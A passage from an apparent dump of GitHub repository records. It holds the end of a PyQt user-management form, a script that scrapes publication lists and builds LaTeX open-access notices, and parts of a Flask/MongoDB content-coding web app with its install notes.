QtGui.QLineEdit(self.frame_3)\n self.TxtUserNew.setGeometry(QtCore.QRect(160, 100, 113, 20))\n self.TxtUserNew.setObjectName(_fromUtf8(\"TxtUserNew\"))\n self.TxtPassNew = QtGui.QLineEdit(self.frame_3)\n self.TxtPassNew.setGeometry(QtCore.QRect(160, 130, 113, 20))\n self.TxtPassNew.setEchoMode(QtGui.QLineEdit.Password)\n self.TxtPassNew.setObjectName(_fromUtf8(\"TxtPassNew\"))\n self.TxtRepetirNew = QtGui.QLineEdit(self.frame_3)\n self.TxtRepetirNew.setGeometry(QtCore.QRect(160, 160, 113, 20))\n self.TxtRepetirNew.setEchoMode(QtGui.QLineEdit.Password)\n self.TxtRepetirNew.setObjectName(_fromUtf8(\"TxtRepetirNew\"))\n self.TxtTipoUser = QtGui.QLineEdit(self.frame_3)\n self.TxtTipoUser.setGeometry(QtCore.QRect(160, 190, 113, 20))\n self.TxtTipoUser.setObjectName(_fromUtf8(\"TxtTipoUser\"))\n self.TxtPassadmin_2 = QtGui.QLineEdit(self.frame_3)\n self.TxtPassadmin_2.setGeometry(QtCore.QRect(160, 220, 113, 20))\n self.TxtPassadmin_2.setEchoMode(QtGui.QLineEdit.Password)\n self.TxtPassadmin_2.setObjectName(_fromUtf8(\"TxtPassadmin_2\"))\n self.pushButton_2 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_2.setGeometry(QtCore.QRect(100, 360, 91, 23))\n self.pushButton_2.setObjectName(_fromUtf8(\"pushButton_2\"))\n self.pushButton_3 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_3.setGeometry(QtCore.QRect(200, 320, 75, 23))\n self.pushButton_3.setObjectName(_fromUtf8(\"pushButton_3\"))\n self.BLimpiarCambio = QtGui.QPushButton(self.centralwidget)\n self.BLimpiarCambio.setGeometry(QtCore.QRect(120, 320, 75, 23))\n self.BLimpiarCambio.setObjectName(_fromUtf8(\"BLimpiarCambio\"))\n self.BLimpiarNew = QtGui.QPushButton(self.centralwidget)\n self.BLimpiarNew.setGeometry(QtCore.QRect(410, 320, 75, 23))\n self.BLimpiarNew.setObjectName(_fromUtf8(\"BLimpiarNew\"))\n self.pushButton_4 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_4.setGeometry(QtCore.QRect(490, 320, 75, 23))\n self.pushButton_4.setObjectName(_fromUtf8(\"pushButton_4\"))\n Usuarios.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(Usuarios)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n Usuarios.setStatusBar(self.statusbar)\n\n self.retranslateUi(Usuarios)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Usuarios.EliminarUser)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Usuarios.Volver)\n QtCore.QObject.connect(self.BLimpiarNew, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtUserNew.clear)\n QtCore.QObject.connect(self.BLimpiarNew, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtRepetirNew.clear)\n QtCore.QObject.connect(self.BLimpiarNew, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtPassNew.clear)\n QtCore.QObject.connect(self.BLimpiarNew, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtPassadmin_2.clear)\n QtCore.QObject.connect(self.BLimpiarCambio, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtNombreUser.clear)\n QtCore.QObject.connect(self.BLimpiarCambio, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtPassadmin.clear)\n QtCore.QObject.connect(self.BLimpiarCambio, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtRepetirPass.clear)\n QtCore.QObject.connect(self.BLimpiarCambio, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtPassNueva.clear)\n QtCore.QObject.connect(self.pushButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Usuarios.ConfirmarCambio)\n QtCore.QObject.connect(self.pushButton_4, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Usuarios.ConfirmarNuevo)\n QtCore.QObject.connect(self.pushButton_4, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.BLimpiarNew.click)\n QtCore.QObject.connect(self.pushButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.BLimpiarCambio.click)\n QtCore.QMetaObject.connectSlotsByName(Usuarios)\n Usuarios.setTabOrder(self.TxtNombreUser, self.TxtPassNueva)\n Usuarios.setTabOrder(self.TxtPassNueva, self.TxtRepetirPass)\n Usuarios.setTabOrder(self.TxtRepetirPass, self.TxtPassadmin)\n Usuarios.setTabOrder(self.TxtPassadmin, self.BLimpiarCambio)\n Usuarios.setTabOrder(self.BLimpiarCambio, self.TxtUserNew)\n Usuarios.setTabOrder(self.TxtUserNew, self.TxtPassNew)\n Usuarios.setTabOrder(self.TxtPassNew, self.TxtRepetirNew)\n Usuarios.setTabOrder(self.TxtRepetirNew, self.TxtTipoUser)\n Usuarios.setTabOrder(self.TxtTipoUser, self.TxtPassadmin_2)\n Usuarios.setTabOrder(self.TxtPassadmin_2, self.BLimpiarNew)\n Usuarios.setTabOrder(self.BLimpiarNew, self.pushButton)\n\n def retranslateUi(self, Usuarios):\n Usuarios.setWindowTitle(_translate(\"Usuarios\", \"Panel de Usuarios\", None))\n self.label_4.setText(_translate(\"Usuarios\", \"Universidad de los Llanos 2014 ®\", None))\n self.label_3.setText(_translate(\"Usuarios\", \"<html><head/><body><p align=\\\"center\\\"><span style=\\\" color:#5500ff;\\\">Control de Usuarios</span></p></body></html>\", None))\n self.pushButton.setText(_translate(\"Usuarios\", \"Volver\", None))\n self.label.setText(_translate(\"Usuarios\", \"<html><head/><body><p align=\\\"center\\\"><span style=\\\" font-size:14pt; font-weight:600;\\\">Cambiar Contraseña</span></p></body></html>\", None))\n self.label_2.setText(_translate(\"Usuarios\", \"<html><head/><body><p align=\\\"center\\\"><span style=\\\" font-size:14pt; font-weight:600;\\\">Cambiar Contraseña</span></p></body></html>\", None))\n self.label_6.setText(_translate(\"Usuarios\", \"<html><head/><body><p><span style=\\\" font-size:10pt; font-weight:600;\\\">Nombre de usuario</span></p></body></html>\", None))\n self.label_7.setText(_translate(\"Usuarios\", \"<html><head/><body><p><span style=\\\" font-size:10pt; font-weight:600;\\\">Repetir Contraseña</span></p></body></html>\", None))\n self.label_8.setText(_translate(\"Usuarios\", \"<html><head/><body><p><span style=\\\" font-size:10pt; font-weight:600;\\\">Contraseña nueva</span></p></body></html>\", None))\n self.label_9.setText(_translate(\"Usuarios\", \"<html><head/><body><p><span style=\\\" font-size:10pt; font-weight:600;\\\">Contraseña de admin</span></p></body></html>\", None))\n self.label_5.setText(_translate(\"Usuarios\", \"<html><head/><body><p align=\\\"center\\\"><span style=\\\" font-size:14pt; font-weight:600;\\\">Nuevo Usuario</span></p></body></html>\", None))\n self.label_10.setText(_translate(\"Usuarios\", \"<html><head/><body><p><span style=\\\" font-size:10pt; font-weight:600;\\\">Nombre de usuario</span></p></body></html>\", None))\n self.label_11.setText(_translate(\"Usuarios\", \"<html><head/><body><p><span style=\\\" font-size:10pt; font-weight:600;\\\">Contraseña</span></p></body></html>\", None))\n self.label_12.setText(_translate(\"Usuarios\", \"<html><head/><body><p><span style=\\\" font-size:10pt; font-weight:600;\\\">Repetir Contraseña</span></p></body></html>\", None))\n self.label_13.setText(_translate(\"Usuarios\", \"<html><head/><body><p><span style=\\\" font-size:10pt; font-weight:600;\\\">Tipo Usuario</span></p></body></html>\", None))\n self.label_14.setText(_translate(\"Usuarios\", \"<html><head/><body><p><span style=\\\" font-size:10pt; font-weight:600;\\\">Contraseña admin</span></p></body></html>\", None))\n self.TxtTipoUser.setText(_translate(\"Usuarios\", \"INVITADO\", None))\n self.pushButton_2.setText(_translate(\"Usuarios\", \"Borrar Usuario\", None))\n self.pushButton_3.setText(_translate(\"Usuarios\", \"Confirmar\", None))\n self.BLimpiarCambio.setText(_translate(\"Usuarios\", \"Limpiar\", None))\n self.BLimpiarNew.setText(_translate(\"Usuarios\", \"Limpiar\", None))\n self.pushButton_4.setText(_translate(\"Usuarios\", \"Confirmar\", None))\n\n" } ]
18
wannesvl/liriastools
https://github.com/wannesvl/liriastools
cc3b37b70998a56b0066ea32d71dd14552f01472
8f77d77a568d6be816ae4ab9e81362d8ea064b1f
a058a66205aa9579f24a50e3d2e8083a2d096d89
refs/heads/master
2020-05-01T13:55:42.073223
2014-03-11T09:24:09
2014-03-11T09:24:09
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5655460357666016, "alphanum_fraction": 0.5770837664604187, "avg_line_length": 39.540321350097656, "blob_id": "448a5d2dbe56eff0a95bc3250eda00802329d2ad", "content_id": "874c9c567fc2d57ad338d783043c96df3602e928", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5027, "license_type": "no_license", "max_line_length": 182, "num_lines": 124, "path": "/get_lirias.py", "repo_name": "wannesvl/liriastools", "src_encoding": "UTF-8", "text": "# coding: utf-8\nfrom bs4 import BeautifulSoup\nimport urllib2, httplib, urllib, re, difflib, subprocess, tempfile, codecs\n\nu_number = '0063507'\nname = 'Van Loock, W.'\ntel = '+32 16 32 92 64'\nemail = '[email protected]'\n\n\n# Search for the DOI given a title; e.g. \"computation in Noisy Radio Networks\"\ndef searchdoi(title, author):\n params = urllib.urlencode({\"titlesearch\":\"titlesearch\", \"auth2\" : author, \"atitle2\" : title, \"multi_hit\" : \"on\", \"article_title_search\" : \"Search\", \"queryType\" : \"author-title\"})\n headers = {\"User-Agent\": \"Mozilla/5.0\" , \"Accept\": \"text/html\", \"Content-Type\" : \"application/x-www-form-urlencoded\", \"Host\" : \"www.crossref.org\"}\n conn = httplib.HTTPConnection(\"www.crossref.org:80\")\n conn.request(\"POST\", \"/guestquery/\", params, headers)\n response = conn.getresponse()\n # print response.status, response.reason\n data = response.read()\n conn.close()\n return data\n\n\ndef get_bib(p, item):\n try:\n return p.findChild(attrs={'name': item}).get_text()\n except:\n return ''\n\n\ndef sort_title(title, p=re.compile('[\\W_]+')):\n return ''.join(sorted(p.sub('', title).lower()))\n\n\nwith open('OPACJrnList.txt', 'r') as f:\n journals_ieee = [l.rstrip('\\r\\n').strip('\"').split('\",\"') for l in f.readlines()]\n\nwith open('jnlactive.csv', 'rb') as f:\n journals_sd = [l.rstrip('\\r\\n').strip('\"').split('\",\"') for l in f.readlines()]\n\nwith open('OPACCnfList.txt', 'r') as f:\n conferences_ieee = [l.rstrip('\\r\\n').strip('\"').split('\",\"') for l in f.readlines()]\n\nwith open('open_access.tex', 'r') as f:\n template = unicode(f.read())\n\n# Make dictionary of journal and conference titles\nurl_sd = 'http://www.sciencedirect.com/science/journal/'\njournals = {sort_title(j[0]): j[9] for j in journals_ieee}\njournals.update({sort_title(j[0]): url_sd + j[1] for j in journals_sd})\nconferences = {sort_title(j[0]): (j[7], j[0]) for j in conferences_ieee}\n\n# journal_titles_ieee = map(sort_title, [r[0] for r in journals_ieee])\n# journal_titles_sd = map(sort_title, [r[0] for r in journals_sd])\n# conference_titles = map(sort_title, [r[0] for r in conferences])\n\nurl = 'https://lirias.kuleuven.be/cv?u=U' + u_number + '&link=true&layout=APA-style'\npage = urllib2.urlopen(url)\nsoup = BeautifulSoup(page.read())\n\nlirias_url = 'http://lirias.kuleuven.be/handle/123456789/'\n\n# Find all 'h1' tags\nfor p in soup.find_all('p'):\n # Get header text\n h = p.find_previous().find_previous()\n if h.name == 'h2':\n header = h.getText()[:2]\n print header\n if header != 'IT' and header != 'IC':\n break\n author = [a.get_text() for a in p.findChildren(attrs={'name': 'author'})]\n if author[0] == name:\n title = p.findChild(attrs={'name': 'title'}).get_text()\n try:\n doi_response = BeautifulSoup(searchdoi(title, author[0]))\n doi = doi_response.find('a', href=re.compile('^http://dx.doi.org/')).get_text()\n except:\n doi = raw_input(\"Could not find doi for \" + title + \"\\n please enter manually, provide alternate link or leave blank: \")\n IR = p.find_parent('a').attrs['href']\n journal = get_bib(p, 'journal')\n pp = get_bib(p, 'pages')\n vol = get_bib(p, 'volume')\n date = get_bib(p, 'date')\n congress_date = get_bib(p, 'congressdate')\n loc = get_bib(p, 'congresslocation')\n congress = get_bib(p, 'congressname')\n if header == 'IT':\n journal_url = journals.get(sort_title(journal), None) # Get journal url.\n if journal_url is None:\n journal_url = raw_input(\"Couldn't find journal. Please provide a url for the journal: \")\n elif header == 'IC':\n match = difflib.get_close_matches(sort_title(congress + date), conferences.keys())\n answer = 'n'\n i = 0\n while answer.lower() == 'n' and i < len(match):\n c = conferences[match[i]][1]\n answer = raw_input('Do we have a match (y/n):\\nlirias: ' + congress + '\\nbest guess: ' + c + ' ')\n if answer.lower() == 'y':\n journal_url = conferences[match[i]][0]\n break\n i += 1\n else:\n journal_url = raw_input(\"Couldn't find conference. Please provide a url for the conference: \")\n # Make tex file\n citation = p.get_text().split(title)\n d = {'first': citation[0].strip('. '),\n 'title': title,\n 'last': citation[1].strip('. '),\n 'doi': doi,\n 'journal_url': journal_url,\n 'email': email,\n 'tel': tel,\n 'lirias_handle': IR\n }\n filename = title.replace(' ', '_').lower() + '.tex'\n with codecs.open(filename, 'wt', encoding='utf-8') as f:\n f.write(template.format(**d))\n # make pdf\n out = tempfile.TemporaryFile()\n ec = subprocess.call([\"pdflatex\", \"-halt-on-error\", filename], stdout=out)\n\n# Clean up files\nsubprocess.call([\"latexmk\", \"-c\"])\n" }, { "alpha_fraction": 0.4583333432674408, "alphanum_fraction": 0.4583333432674408, "avg_line_length": 11, "blob_id": "d2c8ba3cf4243d52f7c6c45197aed43ec01e1b68", "content_id": "36bfabb77f13ab6fb297db4ebc4d7688c2286ab0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 24, "license_type": "no_license", "max_line_length": 11, "num_lines": 2, "path": "/README.md", "repo_name": "wannesvl/liriastools", "src_encoding": "UTF-8", "text": "liriastools\n===========\n" } ]
2
cnlab/content_coder
https://github.com/cnlab/content_coder
c86539b7e303cff8647d1b83eaa20d38aa4b5156
3758deb97dd26871720a37bf6f75d94b141484ed
94f1c4104b1a4278f9024fea74a9d19721cc2942
refs/heads/master
2022-11-27T17:33:39.225427
2020-08-10T19:39:53
2020-08-10T19:39:53
286,539,065
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4414837956428528, "alphanum_fraction": 0.45182862877845764, "avg_line_length": 26.658960342407227, "blob_id": "1cf2d9d1cb42a86e7f92d2bacdcc90036046bcf1", "content_id": "2edfdce3dd08048cf94d1a491332851728318755", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9570, "license_type": "permissive", "max_line_length": 113, "num_lines": 346, "path": "/app/get_stimuli.py", "repo_name": "cnlab/content_coder", "src_encoding": "UTF-8", "text": "\nimport pandas as pd\nimport os\n\nDEBUG=True\nBASE_URL = 'http://10.30.12.152:5000'\n\n\n\ndef get_stim_ids(project='', filter=[]):\n \n stim_dir = 'data'\n \n stim_files = [f for f in os.listdir(stim_dir) if f.endswith('.csv')]\n\n id_dict = {}\n \n for sfile in stim_files:\n pname = sfile.replace('.csv','')\n if project in sfile:\n pdf = pd.read_csv(os.path.join(stim_dir, sfile))\n if filter:\n pdf=pdf[-pdf['id'].isin(filter)]\n \n if len(pdf['id'])>0:\n id_dict[pname]=pdf['id'].values\n\n return id_dict\n \n\ndef get_stim(project, stim_id):\n '''\n rough starting point for getting specific stim\n and doing project appropriate formatting to return\n the stim for server to pass to client\n '''\n \n \n # PA2 - stim id is of form \"theme_type\", e.g. \"aging_how\"\n # need to get text from stimuli CSV and matching image\n \n PA_html = '''\n <div id=\"stim\">\n <figure>\n <img src=\"{ipath}\"/>\n <figcaption>{mtext}</figcaption>\n </figure>\n \n </div>\n '''\n \n PA1_risk_html = '''\n <div id=\"stim\">\n <h4>{mtext}</h4>\n </div>\n '''\n \n AS_html = '''\n <div id=\"stim\">\n <figure>\n <img src=\"{ipath}\"/>\n </figure>\n </div>\n '''\n \n P1_image_html = '''\n <div id=\"stim\">\n <figure>\n <figcaption><h3>Stop Smoking. Start living.</h3></figcaption>\n <img src=\"{ipath}\"/>\n </figure>\n </div>\n '''\n \n CY_html = '''\n <div id=\"stim\">\n <figure>\n <figcaption><h4>{mtext}</h4></figcaption>\n <img width=400 src=\"{ipath}\"/>\n </figure>\n </div>\n '''\n \n \n P1_banner_html = '''\n <div id=\"stim\">\n <video controls>\n <source src=\"{vpath}\" type=\"video/mp4\">\n </video>\n </div>\n '''\n \n PSA_html = '''\n <div id=\"stim\">\n <video width=\"520\" controls autoplay>\n <source src=\"{vpath}\" type=\"video/mp4\">\n </video>\n </div>\n '''\n \n rsm_MT_html = '''\n <div id=\"stim\">\n <video width=\"520\" controls controlsList=\"nodownload\" autoplay >\n <source src=\"{vpath}\" type=\"video/mp4\">\n </video>\n </div>\n '''\n \n \n DARPA_html = '''\n <div id=\"stim\">\n <div>\n <h4>{headline}</h4>\n <p>{abstract}</p>\n </div>\n </div>\n '''\n \n \n WA_html = '''\n <div id=\"stim\">\n <div>\n <h4>{statement}</h4>\n <audio controls controlsList=\"nodownload\" \n src=\"{apath}\">\n </audio>\n </div>\n </div>\n '''\n \n PROD_html = '''\n <div id=\"stim\">\n <video width=\"520\" controls controlsList=\"nodownload nofullscreen\" autoplay >\n <source src=\"{vpath}\" type=\"video/mp4\">\n </video>\n </div>\n '''\n \n SF_rate_html = '''\n <div id=\"stim\">\n <figure>\n <img src=\"{ipath}\"/>\n </figure>\n </div>\n '''\n\n SF_watch_html = '''\n <div id=\"stim\">\n <video width=\"520\" controls controlsList=\"nodownload no\" autoplay >\n <source src=\"{vpath}\" type=\"video/mp4\">\n </video>\n </div>\n '''\n \n \n print('in gs', project, stim_id)\n \n if project=='PA1':\n \n image='null.png' if stim_id.startswith('risk_') else '{}.png'.format(stim_id)\n \n image_path = '{}/media/PA1/images/{}'.format(BASE_URL, image)\n\n \n pa1_df = pd.read_csv('../../stimuli/PA1/PA1_stimuli.csv')\n \n message_text = pa1_df[pa1_df['id']=='PA1-'+stim_id]['message'].values[0]\n \n if DEBUG:\n print(message_text)\n \n if image=='null.png':\n return PA1_risk_html.format(mtext=message_text)\n else:\n return PA_html.format(ipath=image_path, mtext=message_text)\n \n elif project=='PA2':\n \n theme, mtype = stim_id.split('_')\n \n if DEBUG:\n print(theme, mtype)\n \n pa2_df = pd.read_csv('../../stimuli/PA2/PA2_stimuli.csv')\n \n mrow = pa2_df[(pa2_df['theme']==theme) & (pa2_df['type']==mtype)]\n \n if DEBUG:\n print(mrow)\n \n if not mrow.shape[0]:\n return None\n \n message_text = mrow.iloc[0]['message']\n cond = mrow.iloc[0]['cond']\n \n if DEBUG:\n print(cond, message_text)\n image_path = '{}/media/PA2/images/{}/{}.png'.format(BASE_URL, cond, stim_id)\n \n #return {'ipath': image_path, 'mtext': message_text}\n \n return PA_html.format(ipath=image_path, mtext=message_text)\n \n elif project=='D1':\n aid = 'D1-{}'.format(stim_id)\n darpa1_df = pd.read_csv('../../stimuli/darpa1/darpa1_sharing_task_stimuli.csv')\n mrow = darpa1_df[darpa1_df['id']==aid]\n if DEBUG:\n print(mrow)\n \n headline = mrow.iloc[0]['headline']\n abstract = mrow.iloc[0]['abstract']\n \n return DARPA_html.format(headline=headline, abstract=abstract)\n \n \n elif project=='WA':\n aid = 'WA-{}'.format(stim_id)\n WA_df = pd.read_csv('../../stimuli/WA_walkstatement/walkstatement_stimuli.csv')\n mrow = WA_df[WA_df['id']==aid]\n if DEBUG:\n print(mrow)\n \n statement = mrow.iloc[0]['statement']\n afilename = mrow.iloc[0]['stim_file']\n \n audio_path = '{}/media/WA_walkstatement/audio/{}'.format(BASE_URL, afilename)\n\n \n return WA_html.format(statement=statement, \n apath=audio_path)\n \n \n \n elif project=='P1':\n \n task = stim_id.split('_')[0]\n \n if DEBUG:\n print(stim_id)\n \n if task == 'image':\n set, sid = stim_id.split('_')[1:]\n image_path = '{}/media/project1/image_task/{}/{}.jpg'.format(BASE_URL,set,sid)\n\n return P1_image_html.format(ipath=image_path)\n elif task == 'banner':\n sid = stim_id.split('_')[1]\n \n vfile = [f for f in os.listdir('../../stimuli/project1/banner_task/new') if f.split('_')[1]==sid]\n print(vfile)\n vpath = '{}/media/project1/banner_task/new/{}'.format(BASE_URL, vfile[0])\n \n return P1_banner_html.format(vpath=vpath)\n \n elif project=='SF':\n \n task, sid = stim_id.split('_')\n \n if DEBUG:\n print(\"stim_id: {} task: {} sid: {}\".format(stim_id, task, sid))\n \n if task == 'rate':\n image_path = '{}/media/SF/rate/{}.jpg'.format(BASE_URL,sid)\n\n return SF_rate_html.format(ipath=image_path)\n \n elif task == 'watch':\n vpath = '{}/media/SF/watch/{}.mp4'.format(BASE_URL, sid)\n \n return SF_watch_html.format(vpath=vpath)\n \n elif project=='CY':\n \n image_path = \"{}/media/cityyear/cityyear.jpg\".format(BASE_URL)\n \n cityyear_df = pd.read_csv('../../stimuli/cityyear/cityyear_stimuli.csv')\n mrow = cityyear_df[cityyear_df['code']==stim_id]\n if DEBUG:\n print(mrow)\n \n mtext = mrow.iloc[0]['message'] \n \n return CY_html.format(ipath=image_path, mtext=mtext)\n \n elif project=='AS':\n image_path = '{}/media/alcohol/{}.jpg'.format(BASE_URL, stim_id) \n return AS_html.format(ipath=image_path)\n\n elif project=='PSA':\n \n df = pd.read_csv('data/PSA.csv')\n \n mtype, sid = stim_id.split('_')\n \n full_id = \"PSA-{}\".format(stim_id)\n\n if DEBUG:\n print('PSA', mtype, sid)\n \n vfile = df.loc[df['id']==full_id,'filename'].values[0]\n \n vfilename = \"{}/{}\".format(mtype, vfile)\n \n vpath = '{}/media/PSA/{}'.format(BASE_URL, vfilename)\n \n return PSA_html.format(vpath=vpath)\n \n elif project.startswith('rsm_'):\n \n sid = '{}-{}'.format(project,stim_id)\n \n df = pd.read_csv('data/{}.csv'.format(project))\n \n \n mrow = df[df['id']==sid]\n \n if DEBUG:\n print(mrow) \n \n vfilename = mrow.iloc[0]['video_filename']\n \n project_folder = 'movietrailer' if project=='rsm_MT' else 'tvc35'\n \n vpath = '{}/media/rsm_{}/video/{}'.format(BASE_URL, project_folder, vfilename)\n \n return rsm_MT_html.format(vpath=vpath)\n \n elif project=='PROD':\n \n sid = 'PROD-{}'.format(stim_id)\n \n df = pd.read_csv('data/PROD.csv')\n \n mrow = df[df['id']==sid]\n \n if DEBUG:\n print(mrow) \n \n vfilename = mrow.iloc[0]['fname']\n \n video_folder = mrow.iloc[0]['fpath']\n \n vpath = '{}/media/product/video/{}/{}'.format(BASE_URL, video_folder, vfilename)\n \n return PROD_html.format(vpath=vpath)" }, { "alpha_fraction": 0.7312326431274414, "alphanum_fraction": 0.7414272427558899, "avg_line_length": 23.5, "blob_id": "1d9768b16e5fb304854cac25f4160ea18ea292fe", "content_id": "16a834eaacd112c87dd0ca674d643bb5379b130b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1079, "license_type": "permissive", "max_line_length": 167, "num_lines": 44, "path": "/README.md", "repo_name": "cnlab/content_coder", "src_encoding": "UTF-8", "text": "# Megameta Content Analysis Coder\n\n### A web-based application for doing content analysis coding on text, image and video stimuli\n\nCopyright (c) 2020 Communication Neuroscience Lab\n\n----------\n\n\n## Overview\n\n\n* Lightweight user accounts and authentication.\n\n![](doc/img/login.png)\n\n* User-based coding assignments and tracking\n\n![](doc/img/home1.png)\n\n* Configurable content survey and items using [survey.js](https://surveyjs.io/Overview/Library)\n\n![](doc/img/coding1.png)\n\n![](doc/img/coding2.png)\n\n* Admin functions to track coding and export data\n\n![](doc/img/admin1.png)\n\n![](doc?img/admin2.png)\n\n\n\n## Setup & Installation\n\n* The coder is a Python based web app using Flask, Mongodb and Bootstrap\n\n* __N.B.__ We are currently refactoring the code and installation to create a Docker container version to ease installation and running issues.\n\n\n* With the requirements installed, it should run on an *nix based system with Python 3.7+ installed. It should also be possible to set it up on a Windows-based system.\n\n\t* [Linux-based installation instructions](doc/install.md)\n\n" }, { "alpha_fraction": 0.5534855723381042, "alphanum_fraction": 0.575120210647583, "avg_line_length": 24.121212005615234, "blob_id": "4c5c1a8b75d56090bd5773e080aece442f40dfd1", "content_id": "387d4ff4ed9aa9f06bf7cd788ea126bcf952b79d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1664, "license_type": "permissive", "max_line_length": 121, "num_lines": 66, "path": "/doc/install.md", "repo_name": "cnlab/content_coder", "src_encoding": "UTF-8", "text": "# Megameta Content Analysis Coder\n\n## Installation and Setup\n\n----\n\n#### HISTORY\n\n* 2/24/20 mbod - initial setup instructions for CentOS linux \n\n----\n\n\n## Setup\n\n* The coder is a Python based web app using Flask, Mongodb and Bootstrap\n\n### Installation\n\n* __Mongodb__\n * For linux VM follow: https://docs.mongodb.com/manual/tutorial/install-mongodb-on-red-hat/\n 1. Create a ``/etc/yum.repos.d/mongodb-org-4.2.repo` file so that you can install MongoDB directly using yum: \n ```\n [mongodb-org-4.2]\n name=MongoDB Repository\n baseurl=https://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/4.2/x86_64/\n gpgcheck=1\n enabled=1\n gpgkey=https://www.mongodb.org/static/pgp/server-4.2.asc \n```\n 2. Install mongodb-org package: \n ```\n sudo yum install -y mongodb-org\n ```\n 3. Start mongodb service\n ```\n sudo systemctl start mongod.service\n ```\n \n* __Python virtual environment__\n 1. Create a new virtual env based on latest version of Python \n```\n cd server_rev\n python3.7 -m venv env\n \n ```\n 2. Activate the environment source env/bin/activate\n```\n source env/bin/activate\n \n ``` \n\n 3. Install Python module requirememts\n * Modules\n - Flask \n - pymongo \n - pandas \n - flask_cors \n - flask-user \n - Flask-MongoEngine\n * (will add a `requirements.txt`)\n \n 4. Open firewall port for Flask server (default port is 5000)\n ```\n sudo firewall-cmd --zone=public --add-port=5000/tcp \n ```\n\n \n" }, { "alpha_fraction": 0.5377128720283508, "alphanum_fraction": 0.5377128720283508, "avg_line_length": 14.074073791503906, "blob_id": "efa4f177b5f152b1821680eba1b82ff72a58bdd2", "content_id": "aefcbc67899af23a15011371f6d02b985caa73fc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 411, "license_type": "permissive", "max_line_length": 46, "num_lines": 27, "path": "/app/get_codes.py", "repo_name": "cnlab/content_coder", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport pymongo\nimport json\n\nDEBUG=True\n\ndef get_codes_for(uid, db):\n '''\n query db.codes for documents\n with uid\n return as JSON\n '''\n \n cursor=db.megameta.codes.find({'uid':uid})\n\n if DEBUG:\n print(uid,cursor)\n \n data = []\n \n for r in cursor:\n del(r['_id'])\n data.append(r)\n \n if DEBUG:\n print(data)\n return data\n\n\n\n\n" }, { "alpha_fraction": 0.4932670295238495, "alphanum_fraction": 0.49699607491493225, "avg_line_length": 26.659025192260742, "blob_id": "a6fefaa507a8aee7f54dd52425e102142655a3a6", "content_id": "3251644f8f1f28bcce25cd478439df5b59883b04", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9654, "license_type": "permissive", "max_line_length": 112, "num_lines": 349, "path": "/app/app.py", "repo_name": "cnlab/content_coder", "src_encoding": "UTF-8", "text": "from flask import Flask, jsonify, send_from_directory, request, send_file, render_template, redirect, Response\nfrom flask_cors import CORS\n\nfrom beaker.middleware import SessionMiddleware\nfrom cork import FlaskCork, Redirect\nfrom cork.backends import MongoDBBackend\n\n\nimport logging\n\nimport os\nimport datetime\nimport random\nimport json\n\nimport get_stimuli as gs\nimport get_codes as gc\n\nimport pandas as pd\n\nimport pymongo\nfrom bson import json_util\n\nfrom io import StringIO\n\n# configuration\nDEBUG = True\n\n\n\ndef create_app():\n # instantiate the app\n app = Flask(__name__)\n app.config.from_object(__name__) \n \n app.config['MONGODB_SETTINGS'] = {\n 'db': 'megameta',\n 'host': 'localhost',\n 'port': 27017\n }\n \n # enable CORS - IS THIS NEEDED?\n CORS(app, resources={r'/*': {'origins': '*'}})\n \n\n # setup Cork authentication\n \n try:\n backend = MongoDBBackend(db_name='megameta', initialize=True)\n except:\n backend = None\n print('NO BACKEND')\n \n aaa = FlaskCork('conf', backend=backend)\n\n\n \n def post_get(name, default=''):\n v = request.form.get(name, default).strip()\n return str(v)\n \n @app.errorhandler(Redirect)\n def redirect_exception_handler(e):\n return redirect(e)\n \n \n @app.route('/login')\n def login_form():\n \"\"\"Serve login form\"\"\"\n return render_template('login_form.html')\n\n\n \n @app.route('/login', methods=['POST'])\n def login():\n \"\"\"Authenticate users\"\"\"\n username = post_get('username')\n password = post_get('password')\n aaa.login(username, password, success_redirect='/', fail_redirect='/login')\n \n \n @app.route('/logout')\n def logout():\n aaa.logout(success_redirect='/login')\n \n \n # Admin-only pages\n\n @app.route(\"/admin\")\n def show_admin():\n aaa.require(role=\"admin\", fail_redirect=\"/\")\n users = list(aaa.list_users())\n \n\n user_coded_cnt = { u[0] : db.megameta.codes.count_documents({'uid': u[0]})\n for u in users }\n \n \n \n return render_template(\"admin.html\", \n user=aaa.current_user, \n users=users,\n user_coded_cnt=user_coded_cnt\n )\n\n\n @app.route('/create_user', methods=['POST'])\n def create_user():\n aaa.require(role=\"admin\", fail_redirect=\"/\")\n users = aaa.list_users()\n try:\n aaa.create_user(post_get('username'), post_get('role'),\n post_get('password'), post_get('email'))\n return render_template(\"admin.html\", 